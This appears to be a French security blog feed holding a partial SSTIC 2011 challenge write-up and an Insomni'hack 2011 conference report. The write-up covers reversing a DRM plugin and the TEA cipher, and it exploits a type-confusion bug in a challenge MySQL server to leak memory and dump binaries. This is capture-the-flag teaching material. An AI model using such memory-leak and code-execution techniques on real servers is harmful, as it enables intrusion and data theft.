<p>On y apprend que MP4 permet de stocker tout type d&rsquo;information : vidéo, son, et autre. Un fichier MP4 est décomposé en boxes, qui sont structurées sous la forme d&rsquo;un arbre. L&rsquo;outil MP4Box permet de les parser, mais je ne l&rsquo;ai découvert que tardivement ; aussi je me suis lancé dans l&rsquo;écriture d&rsquo;un outil manuel en Python.</p>
<pre>E:\Challenges\SSTIC2011&gt;boxes.py challenge
challenge {
  FileTypeBox(24 - ftyp - mp42 - 0),
  Box(4170138 - mdat),
  Box(277450 - mdat),
  Box(178748 - mdat),
  MovieBox(12507 - moov) {
    Box(108 - mvhd),
    TrackBox(5982 - trak - 0 ) {
      Box(92 - tkhd),
      SsticBox(12 - ssti)[   ?ssti    ],
      MediaBox(5822 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - vide -  ),
        MediaInformationBox(5749 - minf) {
          Box(20 - vmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(5685 - stbl) {
            SampleDescriptionBox(181 - stsd) {
              1 entries
              VisualSampleEntry(165 - mp4v - index: 1) {
                size: 640x480
                resolution: 0x00480000/0x00480000
                compressorname:
                depth: 0018

              }
            },
            Box(3248 - stts),
            SampleSizeBox(2092 - stsz) {
              sample_size = 0
              sample_count = 518

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(88 - stco) {
              18 entries
            },
            Box(28 - stss)
          }
        }
      },
      Box(48 - edts)
    },
    TrackBox(3492 - trak - 1 ) {
      Box(92 - tkhd),
      MediaBox(3372 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - soun -  ),
        MediaInformationBox(3299 - minf) {
          Box(16 - smhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(3239 - stbl) {
            SampleDescriptionBox(103 - stsd) {
              1 entries
              Box(87 - mp4a)
            },
            Box(24 - stts),
            SampleSizeBox(2980 - stsz) {
              sample_size = 0
              sample_count = 740

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(84 - stco) {
              17 entries
            }
          }
        }
      },
      UserDataBox(20 - udta) {
        NameBox(12 - name -    ?name    )
      }
    },
    TrackBox(2917 - trak - 2 ) {
      Box(92 - tkhd),
      MediaBox(2817 - mdia) {
        Box(32 - mdhd),
        HandlerBox(45 - hdlr - data - SsticHandler ),
        MediaInformationBox(2732 - minf) {
          Box(12 - nmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(2676 - stbl) {
            SampleDescriptionBox(32 - stsd) {
              1 entries
              ElfEntry(16 - elf  - index: 1)
            },
            Box(24 - stts),
            SampleToChunkBox(1552 - stsc) {
              128 entries
            },
            SampleSizeBox(532 - stsz) {
              sample_size = 0
              sample_count = 128

            },
            ChunkOffsetBox(528 - stco) {
              128 entries
            }
          }
        }
      }
    }
  }
}</pre>
<p>Le fichier est ainsi composé de 3 tracks : une video, une piste son, et une piste apparemment inconnue. On peut extraire chacune de ces pistes en utilisant les méta-données du fichier, et en particulier les tables STSZ, STSC et STCO. L&rsquo;algorithme d&rsquo;extraction n&rsquo;est pas bien complexe et peut être trouvé grâce aux spécifications.</p>
<p>La piste audio est en clair, mais pas très utile &#8211; quelque chose qui ressemble à des frappes sur un clavier. La vidéo est illisible, a priori chiffrée grâce à des DRM. Enfin, la piste 3 n&rsquo;est autre qu&rsquo;un fichier ELF !</p>
<h3>Analyse du fichier ELF</h3>
<p>Avec IDA, on s&rsquo;aperçoit rapidement que le binaire n&rsquo;est autre qu&rsquo;un plugin VLC. En effet, il comporte tous les symboles propres à ce type de plugin.On suppose que ce plugin est nécessaire à la lecture de ladite vidéo. Les sources de VLC permettant de se rendre compte qu&rsquo;il s&rsquo;agit en fait d&rsquo;une version modifiée du plugin officiel libmp4.so. Un certain nombre de fonctions ont été ajoutées :</p>
<ul>
<li>sstic_drm_init()</li>
<li>sstic_read_secret1(char*dir, char* buf1)</li>
<li>sstic_check_secret1(char*buf1)</li>
<li>sstic_read_secret2(char*dir, char*buf2)</li>
<li>sstic_check_secret2(char*buf2)</li>
<li>sstic_lame_derive_key(char* bufKey, char* buf1, char* buf2)</li>
</ul>
<p>Il est possible de débuger le plugin en le plaçant dans le dossier des librairies de VLC sur une machine Linux, puis en s&rsquo;attachant à VLC avec GDB.</p>
<p>En gros, sstic_drm_init() est appelée dès l&rsquo;initialisation du plugin, et est chargée d&rsquo;appeler les fonctions suivantes. Le but de ce plugin est de déchiffrer la vidéo a l&rsquo;aide d&rsquo;une clé générée à partir de deux fichiers, secret1.dat et secret2.dat situés dans le dossier ~/sstic2011/. Voici un schéma expliquant l&rsquo;algorithme reversé à grand coup d&rsquo;IDA et Hex Rays :</p>
<p style="text-align: center;">&nbsp;</p>
<div class="mceTemp mceIEcenter" style="text-align: left;">
<dl id="attachment_900" class="wp-caption aligncenter" style="width: 545px;">
<dt class="wp-caption-dt"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011.png"><img class="size-full wp-image-900  " title="sstic2011" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011.png" alt="Algorithme de déchiffrement" width="535" height="119" /></a></dt>
<dd class="wp-caption-dd">Algorithme de déchiffrement</dd>
</dl>
</div>
<p style="text-align: left;">Pour résumer :</p>
<ul>
<li>secret1.dat (32 octets) est lu, puis son emprunte MD5 est calculée et comparée avec une constante présente en dur dans le binaire</li>
<li>secret2.dat (1024 octets) est lu, puis déchiffré à l&rsquo;aide d&rsquo;un algorithme symétrique maison (cf plus bas) et d&rsquo;une clé fixe stockée. Le plaintext résultant est comparé à un plaintext lui aussi stocké en dur.</li>
<li>Si les deux tests précédents réussissent, les 2 secrets originaux sont passés à la fonction sstic_lame_derive_key, qui ne fait que les xorrer pour finalement obtenir un secret de 32 octets (pour secret1.dat, qui fait 1024 octets, tous les blocs de 32 octet sont xorrés)</li>
<li>Le secret résultant est utilisé comme une clé RC2 qui servira à déchiffrer chaque sample de la vidéo lors de sa lecture. Au passage, l&rsquo;implémentation RC2 est la même que celle d&rsquo;OpenSSL, pas de soucis de ce côté la.</li>
</ul>
<p>Autrement dit, il nous faut nécessairement secret1 et secret2 si l&rsquo;on veut déchiffrer la vidéo. C&rsquo;est là que les choses se compliquent&#8230;</p>
<h3>Secret2.dat : Crypto + MMX</h3>
<p style="text-align: left;">Pour trouver secret2.dat, on remarque qu&rsquo;il &laquo;&nbsp;suffit&nbsp;&raquo; d&rsquo;inverser l&rsquo;algorithme de déchiffrement implémenté dans la fonction &laquo;&nbsp;decrypt&nbsp;&raquo;, pour trouver le chiffré qui donnera le bon clair une fois déchiffré. Cependant, il ne s&rsquo;agit pas directement d&rsquo;un algorithme standard&#8230; Celui-ci utilise massivement les instructions Intel MMX, qui manipulent des entiers sur 128 bits. Le code ASM est une horreur, et je ne parle pas du listing généré par Hex Rays&#8230;</p>
<p style="text-align: center;">&nbsp;</p>
<div class="mceTemp mceIEcenter" style="text-align: left;">
<dl id="attachment_901" class="wp-caption aligncenter" style="width: 599px;">
<dt class="wp-caption-dt"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011_decrypt.png"><img class="size-full wp-image-901  " title="sstic2011_decrypt" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/sstic2011_decrypt.png" alt="Pseudo-code de decrypt()" width="589" height="244" /></a></dt>
<dd class="wp-caption-dd">Pseudo-code partiel de decrypt()</dd>
</dl>
</div>
<p style="text-align: left;">Pas moins de 351 variables, plus de 2100 lignes de code, et des opérations logiques dans tous les sens. Miam ! Bon, on prend notre courage à deux mains, et on y va. Premièrement, on remarque l&rsquo;utilisation de constantes un peu particulières.</p>
<pre style="text-align: left;">for ( sum = 0x9E3779B9 * a3; ; sum += -0x9E3779B9u ) {</pre>
<p style="text-align: left;">Notre ami Google nous indique qu&rsquo;une boucle faisant intervenir de telles constantes est utilisée par les algorithmes <a href="http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm">TEA</a> et <a href="http://en.wikipedia.org/wiki/XTEA">XTEA</a>. Cependant, ces algorithmes ont une taille de clé de 128 bits, et une taille de bloc de 64 bits, alors qu&rsquo;ici, la clé fait 2048 octets&#8230;</p>
<p style="text-align: left;">Deuxièmement, on s&rsquo;aperçoit qu&rsquo;il y a beaucoup de code redondant dans ce listing. Cela est du à l&rsquo;utilisation intensive des techniques de <a href="http://en.wikipedia.org/wiki/Loop_unwinding">loop unrolling</a>, qui consistent en gros à minimiser le nombre de tours dans une boucle en écrivant n fois la même instruction dans un tour (appliqué à des données différentes).</p>
<p style="text-align: left;">Troisièmement, en supposant qu&rsquo;il s&rsquo;agisse de l&rsquo;algorithme TEA, la logique voudrait qu&rsquo;on trouve des opérations + et -. Or ce n&rsquo;est pas le cas ici ; on a affaire à des opérations logiques uniquement. Après on long moment de réflexion, je me suis rendu compte que ces opérations logiques servent en réalité à propager des retenues&#8230; utilisées justement lors des opérations d&rsquo;addition et soustraction. On se rend ainsi compte que chaque addition a été remplacé par une série de xor, not et and équivalente au schéma suivant :</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_904" class="wp-caption aligncenter" style="width: 436px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/05/additionneur.gif"><img class="size-full wp-image-904 " title="Additionneur" src="http://www.segmentationfault.fr/wp-content/uploads/2011/05/additionneur.gif" alt="Additionneur" width="426" height="255" /></a><p class="wp-caption-text">Additionneur</p></div>
<p style="text-align: left;">Attention, chaque fil ici représente non pas 1 bit, mais 128, soit 16 octets ! En gros, l&rsquo;auteur du challenge a réimplémenté son propre + et &#8211; en recodant ces 2 opérations, prenant comme unité 128 bits de données. Soit !</p>
<p style="text-align: left;">En utilisant toutes ces information, et une bonne dose de motivation, j&rsquo;ai pu confirmé qu&rsquo;il s&rsquo;agit bien de l&rsquo;algorithme TEA, qui finalement n&rsquo;est pas si complexe que ça (cf Wikipédia) :</p>
<pre style="text-align: left;">
<pre>void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i&lt;32; i++) {                         /* basic cycle start */
        v1 -= ((v0&lt;&lt;4) + k2) ^ (v0 + sum) ^ ((v0&gt;&gt;5) + k3);
        v0 -= ((v1&lt;&lt;4) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}</pre>
<p>A la différence près que les uint32 de ce code doivent être remplacés par des blocs de 16 octets. Autrement dit, toutes les tailles doivent être multipliées par 4. Cela n&rsquo;étant pas standard, il n&rsquo;existe aucune librairie (à ma connaissance) faisant cela. Il est donc nécessaire de recoder l&rsquo;opération encrypt() à la main !</p>
<p>Pour cela, j&rsquo;ai copié/collé le code d&rsquo;Hex Rays dans un fichier .c, puis je l&rsquo;ai adapté afin qu&rsquo;il compile dans un premier temps avec Visual Studio. Puis je l&rsquo;ai optimisé en taille (suppression du loop unrolling). Et enfin, je l&rsquo;ai inversé afin d&rsquo;effectuer non pas un déchiffrement, mais un chiffrement.</p>
<p>On lance tout ça avec le plaintext et la clé tous deux stockés en dur dans le programme, et on obtient un secret2.dat valide. J&rsquo;ai pu le confirmer en debuggant le plugin avec GDB, un breakpoint étant posé au bon endroit dans sstic_check_secret2(). Et une étape de passée !</p>
<h3>Secret1.dat : MySQL, UDF and rock&rsquo;n roll</h3>
<p>Ici, contrairement à secret2.dat, nous ne disposons que du MD5 du fichier. Bruteforcer 32 octets étant une perte de temps, il doit donc y avoir un moyen de l&rsquo;obtenir&#8230; J&rsquo;ai séché pendant pas mal de temps, et c&rsquo;est là que l&rsquo;appel à un ami a servi (merci Dad) !</p>
<p>Ceux qui ont regardé le fichier original de la vidéo dans un éditeur auront certainement remarqué le &laquo;&nbsp;introduction.txt&nbsp;&raquo;. Il s&rsquo;agit en réalité du nom d&rsquo;un fichier texte qui a été gzipé et embarqué dans la vidéo. Malheureusement, il n&rsquo;est pas en un seul bloc, mais en plusieurs, qui ont été éparpillées dans le fichier, aux endroits non utilisés (un fichier MP4 peut contenir du &laquo;&nbsp;vide&nbsp;&raquo;). Lors de notre opération d&rsquo;extraction des pistes, nous nous sommes focalisés sur les données utiles du fichier. Et si nous faisions l&rsquo;inverse ? Le fichier gzip peut être obtenu justement grâce à ce procédé, c&rsquo;est-à-dire en suppriment tous les chunks non utilisés du fichier.</p>
<p>Une fois décompressé, on obtient la notice suivante :</p>
<pre>Cher participant,
Le développeur étourdi d'un nouveau système de gestion de base de données
révolutionnaire a malencontreusement oublié quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se révéler
utile afin d'exploiter une éventuelle vulnérabilité.
Sauras-tu en tirer profit pour lire la clé présente dans le fichier
secret1.dat ?
url      : http://XX.XX.XX.XX/ login    : sstic2011 password : XXXXXXXX
--------------------------------------------------------------------------------
Toute attaque par déni de service est formellement interdite. Les organisateurs
du challenge se réservent le droit de bannir l'adresse IP de toute machine
effectuant un déni de service sur le serveur.
--------------------------------------------------------------------------------</pre>
<p>On se connecte sur l&rsquo;URL fournie, et on récupère trois fichiers :</p>
<ul>
<li>udf.so</li>
<li>udf.c</li>
<li>lobster_dog.jpg (s&rsquo;il s&rsquo;agit d&rsquo;une blague de l&rsquo;auteur du challenge, je n&rsquo;ai pas du la saisir <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ul>
<p>UDF signifie User Defined Functions ; il s&rsquo;agit de plugins MySQL permettant de rajouter des fonctions sur un serveur. Le port 3306 du serveur hébergeant ces fichiers est ouverts, et les mêmes identifiants fonctionnent. Il y a donc bien quelque chose à exploiter ici. Fouillons un peu :</p>
<pre>mysql&gt; select version();
+------------------+
| 1.3.337sstic2011 |
+------------------+
| 1.3.337sstic2011 |
+------------------+
1 row in set (0.56 sec)

mysql&gt; show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
+----------+
2 rows in set (0.22 sec)

mysql&gt; use sstic;
Database changed
mysql&gt; show tables;
+--------+
| Tables |
+--------+
|  users |
+--------+
1 row in set (0.20 sec)

mysql&gt; select * from users;
+------+--------+----------------------------------+
| id   | login  | password                         |
+------+--------+----------------------------------+
| 0    | root   | 3e47b75000b0924b6c9ba5759a7cf15d |    =&gt; nothing
| 1    | guest  | a76637b62ea99acda12f5859313f539a |    =&gt; interesting
| 2    | nobody | 6c92285fa6d3e827b198d120ea3ac674 |    =&gt; here
| 3    | *      | 5058f1af8388633f609cadb75a75dc9d |    =&gt; .
+------+--------+----------------------------------+
4 rows in set (0.28 sec)

mysql&gt; use system;
Database changed
mysql&gt; show tables;
+-------------+
| Tables      |
+-------------+
| information |
+-------------+
1 row in set (0.23 sec)

mysql&gt; select * from information;
+------------------+----------+
| version          | security |
+------------------+----------+
| 1.3.337sstic2011 | SECCOMP  |
+------------------+----------+
1 row in set (0.22 sec)</pre>
<p>Visiblement SECCOMP est activé, ce qui nous empêchera d&rsquo;effectuer des appels systèmes autres que read() et write() sur des fichiers déjà ouverts. Croisons donc les doigts pour que le serveur ouvre secret1.dat en lecture avant d&rsquo;activer ce mode <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Une petite analyse du .c (analysé en partie sur <a href="http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html">ce blog</a>) montre que celui-ci possède un bug dans la gestion d&rsquo;un champ union, et est vulnérable à deux failles :</p>
<ul>
<li>Une fuite d&rsquo;information qui permet d&rsquo;afficher n&rsquo;importe quelle adresse mémoire</li>
<li>Une exécution de code à distance</li>
</ul>
<p>Cependant, ces deux failles restents assez complexes à exploiter compte tenu du fait que nous sommes dans l&rsquo;impossibilité de débugger le serveur distant, et que le udf.so donné ne parvient pas à se lancer sur un serveur MySQL standard. Au moindre problème, la connexion est coupée et il faut tout recommencer.</p>
<p>Toutefois, en exploitant la première faille et son bug de typage, on se rend compte que l&rsquo;on peut obtenir des adresses mémoires :</p>
<pre>mysql&gt; select abs('lala');
+-----------+
| 153315552 |
+-----------+
| 153315552 |
+-----------+
1 row in set (0.59 sec)

mysql&gt; select concat("", 153315552);
+------+
| lala |
+------+
| lala |
+------+
1 row in set (0.20 sec)</pre>
<p>En réalité, 153315552 n&rsquo;est pas directement l&rsquo;adresse de la chaîne &laquo;&nbsp;lala&nbsp;&raquo;, mais l&rsquo;adresse de la structure &laquo;&nbsp;val&nbsp;&raquo; correspondante, qui ressemble à ceci :</p>
<pre>struct val {
  int unknown;
  union value {
    int i;                    //4
    void * p;                 //4
  }
  int size;                   //8
  int *(expand)(val*);        //12
}</pre>
<p>En gros, on peut demander à la fonction concat() de traiter une fausse structure située à une adresse choisie. Selon que l&rsquo;on passe cette structure en 1er ou 2ème argument à la fonction, cela débouche soit sur une exécution de code (pointeur expand) ou sur une fuite (pointeur p).</p>
<p>Étant donné le caractère &laquo;&nbsp;blind&nbsp;&raquo; de cette exploitation, j&rsquo;ai préféré dans un premier temps dumper le binaire du serveur MySQL. Celui-ci est chargé de façon standard à l&rsquo;adresse 0&#215;08048000. En forgeant une fausse structure et en la passant à substring(), elle aussi vulnérable, et en scriptant tout ça en python, et on récupère ce fameux binaire.</p>
<p>Seul soucis : celui-ci n&rsquo;a aucun symbole et aucune table de section référencée. Impossible de le lancer, donc. En tout cas, on voit bien qu&rsquo;il y a une référence à secret1.dat (les noms de fonction ne sont pas d&rsquo;origine, mais ont été devinés).</p>
<pre>int __cdecl my_open_secret1()
{
 int fd; // [sp+1Ch] [bp-Ch]@1

 fd = ((int (__cdecl *)(_DWORD, _DWORD))my_open)("secret1.dat", 0);
 if ( fd == -1 )
 sub_8048C28();
 return fd;
}</pre>
<p>L&rsquo;appel à open() est en réalité un appel à une fonction dans la section .plt du programme, qui utilise elle-même la section .got. Pour récupérer le code de cette fonction, j&rsquo;ai utilisé toujours cette même faille de fuite d&rsquo;information. Au final, l&rsquo;adresse référencée est dans une librairie (adresse 0xb7XXXXXX). Son code est constitué d&rsquo;instructions <em>mov</em> pour digitaliser des registres généraux, suivies d&rsquo;un <em>call *%gs:0&#215;10</em>, qui n&rsquo;est autre qu&rsquo;un appel système (le code appelé débouche certainement sur l&rsquo;instruction <em>sysenter </em>ou<em> int 0&#215;80</em>). La valeur d&rsquo;eax, 5, permet de vérifier qu&rsquo;il s&rsquo;agit bien de sys_open. Le file descriptor retourné est stocké à l&rsquo;adresse 0x0804F18C, est n&rsquo;est autre que 3 (0, 1 et 2 correspondant respectivement à stdin, stdout et stderr).</p>
<p>Tout ce qu&rsquo;il reste à faire, c&rsquo;est donc trouver un moyen de faire exécuter un read() sur le file descriptor de secret1.dat afin de lire ses 32 octets qui nous manquent pour déchiffrer cette fichue vidéo. Seulement, je ne vois qu&rsquo;une seule technique pour cela, et je n&rsquo;ai pas eu le temps de la tester. La protection NX étant activée (pour s&rsquo;en rendre compte il suffit de voire que l&rsquo;exécution d&rsquo;un ret situé dans le heap foire, alors qu&rsquo;elle fonctionne dans la section .text), la seule solution reste à mon avis le Return Oriented Programming. Sauf que ne disposant ni d&rsquo;une forte expérience dans cet art ancestral, ni d&rsquo;une quantité de temps suffisante (les <a href="http://www.rssil.org/challenge-securite">RSSIL</a> approchent !), je n&rsquo;ai pas eu le temps de creuser plus loin. Dommage, car j&rsquo;ai vraiment l&rsquo;impression d&rsquo;être tout près du but&#8230; à un appel système près <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> . A supposer bien sûr que le déchiffrement de la vidéo est l&rsquo;étape finale&#8230; (là, je sens comme un doute m&rsquo;envahir)</p>
<h3>To be continued</h3>
<p>Comme l&rsquo;année dernière, ce challenge réunit à la fois du parsing, du reverse engineering et de la crypto, mais en plus une partie exploitation de service à distance, sur laquelle j&rsquo;ai buté. J&rsquo;attends avec impatience la solution de l&rsquo;étape manquante, à savoir la récupération de secret1.dat. En tout cas, je ne regrette pas avoir passé de nombreuses heures (jours, en fait) sur cette épreuve, qui m&rsquo;aura fait quelques nœuds aux neurones.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Insomni&#8217;hack 2011</title>
		<link>https://www.segmentationfault.fr/securite-informatique/insomnihack-2011/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/insomnihack-2011/#comments</comments>
		<pubDate>Mon, 07 Mar 2011 23:38:43 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=871</guid>
		<description><![CDATA[Ce week-end s&#8217;est déroulé Insomni&#8217;hack 2011, événement de sécurité se tenant à Genève. 4h de conférences, 6h de challenges, une bonne organisation et une ambiance détendue, tout ce qu&#8217;il fallait pour passer une bonne soirée. Comme Bruno, je me lance dans un compte-rendu des conférences et du challenge. [UPDATE 03/03/2011 : la résolution de l'épreuve [...]]]></description>
			<content:encoded><![CDATA[<p>Ce week-end s&rsquo;est déroulé <a href="http://blog.scrt.ch/2011/03/01/insomnihack-2011-the-final-countdown/" target="_blank">Insomni&rsquo;hack 2011</a>, événement de sécurité se tenant à Genève. 4h de conférences, 6h de challenges, une bonne organisation et une ambiance détendue, tout ce qu&rsquo;il fallait pour passer une bonne soirée. Comme <a href="http://bruno.kerouanton.net/blog/2011/03/05/insomnihack-2011-cest-fini/" target="_blank">Bruno</a>, je me lance dans un compte-rendu des conférences et du challenge.</p>
<p><span id="more-871"></span></p>
<p>[<strong>UPDATE 03/03/2011</strong> : la résolution de l'épreuve du padding oracle a été présentée au dernier <a href="http://www.hackerzvoice.net/meetings">meeting HZV</a>, les slides sont en ligne <a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/PaddingOracle.pdf">ici</a>]</p>
<h3>Conférences</h3>
<h4>Sourcing and Management in IT Security</h4>
<p>L&rsquo;événement commence par une conférence orientée RSSI présentée par Sébastien Bombal, ayant pour thème la gestion du sourcing en matière de sécurité. Celle-ci aborde les problèmes causés par la cascade de sous-traitance, depuis les débuts de l&rsquo;out-sourcing jusqu&rsquo;au cloud-computing, ainsi que les normes associées. Autant le dire tout de suite : cela n&rsquo;étant pas mon domaine, je n&rsquo;ai pas vraiment réussi à suivre de bout en bout&#8230;</p>
<h4>Mobile Malware In Practice</h4>
<p>Axelle Apvrille expose dans cette conférence 3 exemples de virus ciblant les smartphones, et plus précisément Symbian. Le message est clair : les concepteurs de virus ne développent pas leurs bestioles pour le fun, mais pour se faire de l&rsquo;argent. Le principe <a href="http://fr.wikipedia.org/wiki/Keep_it_Simple,_Stupid" target="_blank">KISS</a> s&rsquo;applique aussi aux malwares ! Les exemples montrés se contentent d&rsquo;envoyer des SMS à des numéros surtaxés, ou d&rsquo;intercepter des codes d&rsquo;accès bancaire.  Ce que qui parait fou, c&rsquo;est que dans certains cas, ces malwares sont mêmes signés par Symbian ! En effet, comme l&rsquo;a soulignée la chercheuse, toutes les applications ne sont pas systématiquement analysée avant d&rsquo;être déployées sur le marché. On apprécie aussi les API obscures de Symbian, telles que celle permettant à toute application de désactiver les messages de confirmation utilisateur lorsque celle-ci souhaite avoir accès à Internet, ou encore celle qui installe silencieusement une application&#8230;</p>
<h4>La cryptographie</h4>
<p>Avec un tel titre, tout le monde s&rsquo;attendait à un cours de crypto à la sauce universitaire, bourrée de formules dans tous les sens. C&rsquo;est d&rsquo;ailleurs ce que semble proposer son auteur, <a href="http://crypto.junod.info/" target="_blank">Pascal Junod</a>.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="La crypto, c'est cool" src="https://lh3.googleusercontent.com/_Rzr3MErwyvk/TXVWcoXHUTI/AAAAAAAAFoI/w5oP9R8wqTc/s640/P1000079.JPG" alt="" width="448" height="336" /><p class="wp-caption-text">La crypto, c&#39;est cool !</p></div>
<p>Mais heureusement, après avoir exposé son sommaire qui se révèle être factice, l&rsquo;auteur dévoile le véritable but de la conférence : faire un état de l&rsquo;art de la cryptographie actuelle et de ses échecs pratiques. Une présentation extrèmement intéressante, qui appuie où ça fait mal : l&rsquo;implémentation des algorithmes de chiffrement, et leur choix. Tout y passe : La XBox et <a href="http://fr.wikipedia.org/wiki/Tiny_Encryption_Algorithm" target="_blank">TEA</a>, WEP et RC4, MD5, IPSEC en mode encrypt-only, suites de chiffrement TLS 1.0 avec des tailles de clés minuscules, le secure boot des TI (RSA-512 cassé en 73 jours par un quad-core), et même l&rsquo;ultra-célèbre LM-hash. Que reste-t-il au final ? AES, SHA-2 (bientôt SHA-3), RSA-OAEP et RSA-PSS.</p>
<p>Mais c&rsquo;est sans compter les attaques side-channels, qui regroupent timing-attacks, injection de fautes, mesures de consommation et d&rsquo;émanations électro-magnétiques. Et ces dernières sont d&rsquo;autant plus critiques sur les plate-formes embarquées. Pascal termine alors par un benchmark des librairies opensource de crypto implémentant RSA-OAEP, vis-à-vis de leur résistance à l&rsquo;attaque de <a href="http://www.iacr.org/cryptodb/archive/2001/CRYPTO/21390230.pdf" target="_blank">Manger</a>. Et le résultat est pour le moins&#8230; alarmant.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="Résultats du benchmark" src="https://lh3.googleusercontent.com/_Rzr3MErwyvk/TXVWdl4nMDI/AAAAAAAAFoQ/8j6aimjERsc/s640/P1000085.JPG" alt="" width="448" height="336" /><p class="wp-caption-text">Résultats du benchmark</p></div>
<p>Aucune librairie (pas même OpenSSL) n&rsquo;est à ce jour complétement protégée, et il s&rsquo;agit d&rsquo;un véritable problème sur plateformes embarqués. La faute en partie aux multiples brevets détenus par des sociétés spécialisées disposant d&rsquo;algorithmes side-channel-proof&#8230;</p>
<h4>Les outils du mentalisme au service du social engineering</h4>
<p>Dominique Clementi montre dans cette conférence comment le mentalisme peut aider un social-engineer à arriver à ses fins. Le but du mentaliste étant d&rsquo;embrouiller (<em>fuzzer</em>, si je puis dire !) ses victimes pour leur faire admettre l&rsquo;idée que quelque chose de surnaturel s&rsquo;est produit. Ses armes : des gimmicks, des outils automatiques, et surtout beaucoup de psycologie. Entre autres : suggestion, PNL, forçage, hypnose, <a href="http://fr.wikipedia.org/wiki/Lecture_%C3%A0_froid" target="_blank">cold reading</a>&#8230; Une conférence très sympa qui m&rsquo;a beaucoup rappelé les quelques années durant lesquelles j&rsquo;ai pratiqué le close-up (que je pratique toujours, mais très accessoirement).</p>
<h4>ASP.NET et la sécurité du Viewstate</h4>
<p>Alexandre Herzog expose les failles de sécurité concernant le composant Viewstate des plateformes IIS. Il s&rsquo;agit d&rsquo;une variable d&rsquo;état envoyée entre le navigateur et le serveur qui recense entre autres les différents contrôles sérialisés d&rsquo;une page Web. Celle-ci est généralement envoyée par le biais d&rsquo;un champ caché, mais également par l&rsquo;URL. Le problème se pose alors lorsque le filtrage de cette variable fait défaut côté serveur, et mène à des XSS volatiles. Heureusement, par défaut un HMAC est effectuée sur cette dernière, ce qui la rend tamper-proof, et c&rsquo;est d&rsquo;ailleurs ce qui est conseillé afin d&rsquo;éviter les attaques. L&rsquo;auteur montre par ailleurs que le module de validation de requêtes d&rsquo;ASP.NET est inefficace sur cette dernière, car il possède des filtres très minimaux. Il en est de même pour certaines versions du module d&rsquo;encodage HTML (équivalent de htmlentities()), qui ne filtre pas les apostrophes avant .NET 4&#8230;</p>
<p style="text-align: center;">&nbsp;</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Un filtre à toute épreuve... ou pas." src="https://lh3.googleusercontent.com/_Rzr3MErwyvk/TXVXrYIcZtI/AAAAAAAAFow/BJkEO7siNmk/s640/P1000089.JPG" alt="" width="448" height="336" /><p class="wp-caption-text">Un filtre à toute épreuve... ou pas.</p></div>
<h4 style="text-align: left;">Reinventing Old School Security</h4>
<p><a href="http://bruno.kerouanton.net" target="_blank">Bruno Kerouanton</a> termine en beauté par une conférence très axée old-school. Il y montre que la plupart des techniques de protections logicielles actuelles se basent sur celles utilisées par la demoscene à l&rsquo;époque des <a href="http://fr.wikipedia.org/wiki/Thomson_MO5" target="_blank">MO5</a>, <a href="http://fr.wikipedia.org/wiki/Commodore_64" target="_blank">Comodore 64</a> et autres <a href="http://fr.wikipedia.org/wiki/Atari_ST" target="_blank">Atari ST</a>. Il faut dire que ça fait bizarre de voire de telles bestioles qui datent d&rsquo;avant ma naissance <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Au programme : anti-debug, compression et obfuscation du code, utilisation du DMA, écriture entre les pistes des disquettes, et désynchronisation de l&rsquo;écran pour pouvoir afficher une résolution plus grande que celle prévue (les prémices de la HD ?). On y découvre même les origines du fuzzing (utilisation d&rsquo;opcodes non documentés), du GPGPU (utilisation du lecteur de disquette pour accélérer le traitement) et des hooks d&rsquo;interruptions. Vraiment sympa !</p>
<h3>Challenge</h3>
